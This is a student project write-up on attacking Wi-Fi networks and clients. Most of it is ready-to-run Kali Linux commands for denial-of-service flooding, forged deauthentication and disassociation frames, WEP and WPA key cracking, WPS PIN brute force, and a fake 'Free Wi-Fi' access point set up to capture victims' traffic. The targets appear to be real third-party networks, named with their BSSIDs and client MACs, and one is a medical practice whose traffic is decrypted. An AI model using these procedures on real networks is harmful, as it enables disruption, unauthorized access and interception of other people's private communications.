Hacking Wi-Fi

By Selim Ben Ammar, Rafael Szylewicz Levy

For this project, we use Kali Linux as the root user and the following tools:

- Wireless Recognition:
Kismet
The command: iwlist wlan0 scanning
This reconnaissance shows the nearest wireless networks with their ESSID, BSSID and Channel

- Cracking wireless keys:
Aircrack-ng package

- Sniffing:
Wireshark

- Denial of service attack:
Mdk3: To flood the network with requests
Ghex: To modify a frame in hexadecimal
Tcpreplay: To inject/Replay a modified frame in the network

- Useful commands:
To restart the default configurations of WIFI: service network-manager restart
See the interfaces: ifconfig. The interface that we will use is wlan0
Activate/close an interface: ifconfig wlan0 up/down

Note:
All the data acquired during the development of this work was used for educational purposes only. All the owners' identities and information haven't been exposed, and no malicious activity was conducted.

The aim of this project is to attack wireless networks and clients

I- Bring down a wireless Network with a Denial of Service attack

There are 2 categories of a **Denial of Service (DoS) attack**:

1- Resource Exhaustion

a- Authentication Request Flooding attack

This attack consists in flooding the access point with several authentication requests. Thus, the Access Point will either stop accepting new connections or freeze the connected clients.

1- Identify the target network (ESSID, BSSID and Channel).
Tool: Kismet **or the command:** iwlist wlan0 scanning
BSSID: F0:43:47:87:66:59
Channel:11
Encryption key: WPA2 CCMP PSK
ESSID:"HUAWEI_ALE-L21_D886"

2- Set the wireless card into monitor mode:
Tool to start: airmon-ng start wlan0 11
Tool to end: airmon-ng stop wlan0mon
11 is the channel of the Access Point we are going to attack.

With this command, we disable wlan0, enable wlan0mon, therefore changing our interface.

3- Set our WNIC to the same channel as the target network:
ifconfig wlan0 down
iwconfig wlan0 channel 11
ifconfig wlan0 up

4- Open Wireshark to sniff and detect beacon frames and authentication request frames:
To see beacon frames: wlan.fc.type_subtype==0x08
To see authentication request frames: wlan.fc.type_subtype==0x0b

5- To transmit many authentication requests to the access point, we use: MDK3 Tool: mdk3 wlan0mon a -a F0:43:47:87:66:59

Warning:

The advantage of this attack is that MDK3 sends authentication requests from random MAC addresses. Therefore, no one can find us. However, this active attack might be stopped by Wireless Intrusion Detection Systems.

b- CTS attack

This attack concerns **the disruption of the normal bandwidth allocation.** In fact, we will use the mechanism **RTS/CTS** that has been introduced to reduce frame collisions during transmission.
RTS = (Request to Send) and CTS = (Clear to Send)
During the **request,** the client writes in the duration field of RTS the time he needs to be allocated to him. The access point will **respond** with a CTS frame to confirm the duration mentioned in the RTS.
As all the clients will receive the CTS, no one will send until the duration expires in order to avoid collision.
The attack consists in sending a **hand-crafted CTS frame with a large duration**. As a result, all the clients will think that the Access Point is sending these CTS frames and they won’t dare to transmit any information.

We can perform this attack by following the next 7 steps:

1- Identify the target network (ESSID, BSSID and Channel).
Tool: Kismet **or the command:** iwlist wlan0 scanning
BSSID: 00:1D:20:F6:4A:5F
Channel: 1
Encryption key: WPA TKIP PSK
ESSID: "MOURD”

2- Set the wireless card into monitor mode:
Tool to start: airmon-ng start wlan0 1
Tool to end: airmon-ng stop wlan0mon
1 is the channel of the Access Point we are going to attack.
With this command, we disable wlan0, enable wlan0mon, therefore changing our interface.

3- Set our WNIC to the same channel as the target network:
ifconfig wlan0 down
iwconfig wlan0 channel 1
ifconfig wlan0 up

4- Open Wireshark to sniff and detect CTS (clear to send) frames. We select a CTS frame, export it and save it as a pcap file.
wlan.fc.type_subtype==28
These frames have 3 important fields that will be modified later:
- **Duration** = between 100 and 300 microseconds
- **MAC address of the receiver**
- **Frame Check Sequence (FCS)** = correct

5- Open this pcap file with Ghex, and increase its duration: from [68 00] to [75 30 = 30.000 microseconds]. However, we reverse the numbers and we write [30 75]. **Then, modify the receiver's MAC address** to [AA BB CC DD EE FF]. All the clients will think that it is the access point that grants this new MAC address a lot of resources.

6- Reopen the modified pcap file with Wireshark. We notice that the FCS field is set to **"wrong"**. Wireshark proposes a correct FCS. Therefore, we reopen Ghex to modify it, we make sure to reverse the numbers. Finally, we reopen it with Wireshark to make sure that every field is correct.

7- Use tcpreplay to inject 5000 times the hand-made CTS frame in the network:
Tool: tcpreplay --topspeed --loop 5000 --intf1 wlan0mon ctsframe.pcap

We have successfully disrupted the network and made the connection very slow.

2- Protocol Abuse

a- Deauthentication Attack

If the deauthentication frame was a normal frame, we would need to have the key of the network in order to sniff, decrypt and then deauthenticate it. However, **management frames aren't encrypted**. Therefore, we can send these frames on behalf of the access point without knowing the encryption key.

These are the steps to follow to make this attack work.

1- Identify the target network (ESSID, BSSID and Channel).
Tool: Kismet **or the command:** iwlist wlan0 scanning
BSSID: EC:23:3D:19:9F:08
Channel: 1
Encryption key: WPA2 CCMP PSK
ESSID: "ORANGE_9EFF"
Connected client: C4:62:EA:9B:37:BB

2- Set the wireless card into monitor mode:
Tool to start: airmon-ng start wlan0 1
Tool to end: airmon-ng stop wlan0mon
1 is the channel of the Access Point we are going to attack.
With this command, we disable wlan0, enable wlan0mon, therefore changing our interface.

3- Set our WNIC to the same channel with the target network:
ifconfig wlan0 down
iwconfig wlan0 channel 1
ifconfig wlan0 up

4- Open Wireshark and configure the filter to sniff deauthentication frames.
Tool: wlan.fc.type_subtype==0x0c

5- Launch the attack on all the connected clients or a specified one.
Tool: aireplay-ng -0 10 -a EC:23:3D:19:9F:08 -c C4:62:EA:9B:37:BB wlan0mon

If we delete the number of deauthentications (10 in this case), the client will keep connecting and disconnecting from the wireless network infinitely.

Warning
The wireless intrusion Detection Systems can detect this attack.

b- Disassociation Attack

When a connected client wants to disassociate from a network, he needs to send a disassociation frame to the Access Point. When the AP receives this frame, it must disassociate immediately the client and release the allocated resources for future clients. As this frame is unencrypted, we can sniff with Wireshark, capture it, modify and sent it back.

We can perform this attack by following the next 7 steps:

1- Identify the target network (ESSID, BSSID and Channel).
Tool: Kismet **or the command:** iwlist wlan0 scanning
BSSID: EC:23:3D:19:9F:08
Channel: 1
Encryption key: WPA2 CCMP PSK
ESSID: "ORANGE_9EFF”

2- Set the wireless card into monitor mode:
Tool to start: airmon-ng start wlan0 1
Tool to end: airmon-ng stop wlan0mon
1 is the channel of the Access Point we are going to attack.
With this command, we disable wlan0, enable wlan0mon, therefore changing our interface.

3- Set our WNIC to the same channel with the target network:
ifconfig wlan0 down
iwconfig wlan0 channel 1
ifconfig wlan0 up

4- Open Wireshark to sniff and detect disassociation frames. We wait a few minutes before seeing this type of frames. We select it, export it and save it as a pcap file.
wlan.fc.type_subtype==0x0A
These frames have 3 important fields that will be modified later:
- **BSS ID** of the access point
- **MAC address of the receiver** which is the access point
- **The MAC address** of the targeted client
- **Frame Check Sequence (FCS)** = correct

5- Open this pcap file with Ghex and modify all these fields

6- Reopen the modified pcap file with Wireshark. We notice that the FCS field is set to **“wrong”**. Wireshark proposes a correct FCS. Therefore, we reopen Ghex to modify it, we make sure to reverse the numbers. Finally, we reopen with Wireshark to make sure that every field is correct.

7- Use tcpreplay to inject 5000 times the hand-made disassociation frame in the network:
Tool: tcpreplay --topspeed --loop 5000 --intf1 wlan0mon disassociat.pcap

c- Beacon Flooding Attack

We will send countless fake beacon frames. The client will think that there is a lot of available networks around him. After some time, the client operating system will be confused and lost in a large list of available fake networks.

After setting our NIC into monitor mode, we need to use **Mdk3**.
Tool: mdk3 wlan0mon b -a -g -f ssidnames.txt -c 1

b means that we launch beacon flooding mode
-f ssidnames.txt is an option that allows us to choose SSID names from a dictionary rather than putting them randomly
-c 1 is an option to choose the channel we want for our fake hand-made networks

III- Cracking a wireless network (WEP/WPA)

1- Recover WEP Encryption Key:

WEP (Wired Equivalent Privacy) is an easy version to crack compared to WPA and WPA2. Each WEP encrypted message doesn't use the same key. In fact, a 24 bits initial vector (IV) is associated to every key to add randomness. As a result, all the keys are different.
By capturing around 40000 packets, there is a great chance to have IV collision. Therefore, we can apply the PTW attack and obtain the WEP key.

There are 3 different scenarios for this attack.

A- Topology includes an Access Point and a Client:

1- Identify the target network (ESSID, BSSID and Channel).
Tool: Kismet
BSSID: 6C:FD:B9:50:4B:20
Channel: 11
Encryption key: WEP
ESSID: "LE POLE MEDICAL"
Client MAC address: 64:5A:04:71:60:74

2- Set the wireless card into monitor mode:
Tool to start: airmon-ng start wlan0 11
Tool to end: airmon-ng stop wlan0mon
11 is the channel of the Access Point we are going to attack.
With this command, we disable wlan0, enable wlan0mon, therefore changing our interface.

3- Set our WNIC to the same channel as the target network:
ifconfig wlan0 down
iwconfig wlan0 channel 11
ifconfig wlan0 up

4- Open a terminal and start saving the traffic associated with the target channel and wireless network:
Tool: airodump-ng --bssid 6C:FD:B9:50:4B:20 --channel 11 -–write wepdata wlan0mon
wlan0mon is the used interface

--write wepdata is the file where the data frames will be stored

5- To obtain more packets (we need at least 5000 IVs) **we perform an ARP replay attack.** We will capture an ARP request from our connected client, we spoof the original source MAC address and we replay it over and over to produce multiple ARP replies.
Tool: aireplay-ng -3 -b 6C:FD:B9:50:4B:20 -h 64:5A:04:71:60:74 wlan0mon

6- We crack the key:
Tool: aircrack-ng wepdata-01.cap

What to do after getting the WEP key?

1- Inform the client that WEP is insecure. He should upgrade it to WPA.

2- Connect to the WEP network and use its available

services. 3- Passively Decrypt WEP encrypted transmissions

In this paragraph, we will see how to apply option 3 in practice:

To avoid being seen by the Wireless Intrusion Detection System, we should have a passive approach.

1- As usual we need to activate the monitor mode
Tool: airmon-ng start wlan0

2- Find our target network which WEP key was found previously
Tool: airodump-ng wlan0mon

3- Make sure that wlan0mon is connected to the channel of our network (channel 11)

4- Open Wireshark to start sniffing.

5- Capture a great number of packets in the wlan0mon interface. We save the WEP encrypted packets in a PCAP file = WEPencrypted.pcap

6- Using the terminal and the previously known key, we decrypt the packets and put it automatically in a PCAP file = WEPencrypted-dec.pcap
Tool: airdecap-ng -w <WEP key in hexadecimal> WEPencrypted.pcap -e “LE POLE MEDICAL”

7- Open the WEPencrypted-dec.pcap file with Wireshark. We choose a packet and click right **“Follow the TCP-stream”.** We finally get all the information we need.

2- Recover the WPA/WPA2 Passphrase:

WPA was designed to replace WEP. There are two versions WPA and WPA2.
The passphrase = it is the password you type to connect to the network.
There are 2 different scenarios for this attack.

A- Topology includes an Access Point and a wireless client:

To perform this attack, we have to deauthenticate the connected client, wait for him to re-authenticate and use the 4-way handshake to guest or guess(?) the passphrase.

1- Identify the target network (ESSID, BSSID and Channel).
Tool: Kismet
BSSID: 00:24:D4:DF:49:60
Channel: 11
Encryption key: WPA CCMP PSK
ESSID: "Allank"
Connected client: C4:62:EA:9B:37:BB

2- Set the wireless card into monitor mode:
Tool: airmon-ng start wlan0 11
(1 is the channel of the Access Point we are going to attack)

3- Open a first terminal and start saving the traffic associated with the target channel and wireless network :
Tool: airodump-ng --bssid 00:24:D4:DF:49:60 --channel 11 --write WPAmsg wlan0mon

wlan0mon is the used interface
--write WPAmsg tells the program to name the file WPAmsg

4- In order to obtain an authentication handshake, we will deauthenticate the target connected.
Tool: aireplay-ng -0 15 -a 00:24:D4:DF:49:60 -c C4:62:EA:9B:37:BB wlan0mon
-0 is followed by the number of attempts to deauthenticate

5- We download WAP dictionaries and crack the key:
Tool: aircrack-ng *.cap -w <Path of the dictionary>
We are trying to crack a passphrase, therefore we use a dictionary. If the passphrase contains numbers and symbols we need to download a special dictionary.

IV- Attack WPS (Wi-fi Protected Setup)

WPS is a security standard that appeared in 2006. It uses a PIN with 8 digits. To attack this standard we will use the following **vulnerability**:

To **brute force** a number with **8 digits** there are 10^8 possibilities. However, this number is divided in 4 digits, 3 digits and the last one is the checksum. Because the first 4 and the other 3 digits are independent, we no longer have 10^8 possibilities but $10^4 + 10^3 = 11000$ possibilities.

This attack consists in locating routers that use WPS, recover the WPS PIN and find the WPA passphrase that connects to this network.

1- Set our WNIC to the same channel with the target network:
ifconfig wlan0 down
iwconfig wlan0 channel 11

ifconfig wlan0 up

2- Set the wireless card into monitor mode:
Tool to start: airmon-ng start wlan0 11
Tool to end: airmon-ng stop wlan0mon
11 is the channel of the Access Point we are going to attack.
With this command, we disable wlan0, enable wlan0mon, therefore changing our interface.

3- Identify the target network that uses WPS (ESSID, BSSID and Channel).
Tool 1: wash -i wlan0mon
Tool 2: Wireshark can be used to capture beacon frames with the following filter: wlan.fc.type_subtype==0x08

BSSID: 6C:FD:B9:50:4B:20
Channel: 11
Encryption key: WPA2 CCMP **that can use WPS**
ESSID: "Livebox"

If **WPS locked** is set to No (the PIN will be solved in few hours). However, if it is set to yes, we will need few days.

4- Launch the Brute-Force attack to find WPS PIN :
Tool: reaver -i wlan0mon -b 6C:FD:B9:50:4B:20 -c 11 -a -f -w -vv

Warning:

If during the attack, there is a warning about “detecting AP rate limiting”, we will have to wait 60 seconds during every attempt to crack the PIN. The WPS locked parameter that was set to “No” previously, becomes equal to “Yes”, and it may take a few days to crack it.

5- Few days later, after cracking the PIN, we launch an attack to find the WPA passphrase. This step is easier.
Tool: reaver -i wlan0mon -b 6C:FD:B9:50:4B:20 -c 11 -a -f -w -vv -p <Discovered PIN>

Success!! We found the passphrase. Now, we can either connect to the network or sniff its traffic passively.

V- Attacking wireless clients by creating a fake access point

In order to create a fake access point, we will configure our Kali Linux laptop as an access point, and as we want to have many clients connected, we can name it: ”FREE WI-FI”. After having enough connections, we can use Wireshark to sniff all the juicy traffic.

1- Set our WNIC to the same channel with the Access point we will create:
ifconfig wlan0 down
iwconfig wlan0 channel 11
ifconfig wlan0 up

2- Set the wireless card into monitor mode:
Tool to start: airmon-ng start wlan0 11
Tool to end: airmon-ng stop wlan0mon
11 is the channel of the Access Point we are going to create.
With this command, we disable wlan0, enable wlan0mon, therefore changing our interface.

3- Configure the laptop as the access point using the command: airbase-ng.
We use an attractive ESSID to have as many connected clients as possible.
Tool: airbase-ng -e “Free Wi-Fi” -c11 wlan0mon
Airbase will create a new interface that we will work on. It is called at0.

4- Assign this new interface an IP address.
Tool: ifconfig at0 10.0.0.1 netmask 255.255.255.0

5- One of the roles of an access point is to **deliver IP address** to the connected clients. **The DHCP server is responsible for doing that**. We have to configure it.
The file to configure: /etc/dhcpd.conf
Tool to point to this configured DHCP file: dhcpd3 -cf /etc/dhcpd.conf at0

6- Configure the IP table’s firewall to pass traffic through the laptop to the hard-wired connection.

7- Sniff all the juicy traffic with Wireshark.

Sources:

Websites:

- Usage of aircrack
https://www.aircrack-ng.org/

- **Injection test with aireplay**
https://www.aircrack-ng.org/doku.php?id=injection_test

- Beacon flooding mode with MDK3
https://www.cybrary.it/0p3n/mdk3-option-b-method-beacon-flood-with-proof-ofworking-too/

- Creating a fake access point
http://picateshackz.com/2015/09/kali-linux-creating-fake-ap-to-hack-websitelogins.html

- WPS cracking with Reaver
https://www.pwnieexpress.com/blog/wps-cracking-with-reaver

Books:

- **Attacking wireless networks and clients:**

Wireless Network Security, by Tyler WRIGHTSON

Hacking Wireless Networks, The ultimate hands-on guide, by Andreas K. Kolokithas

Basic Security Testing With Kali Linux 2, Daniel W.Dieterle

Forums:

- Cybersecurity websites for training and exchanging:

https://www.root-me.org/
https://w3challs.com/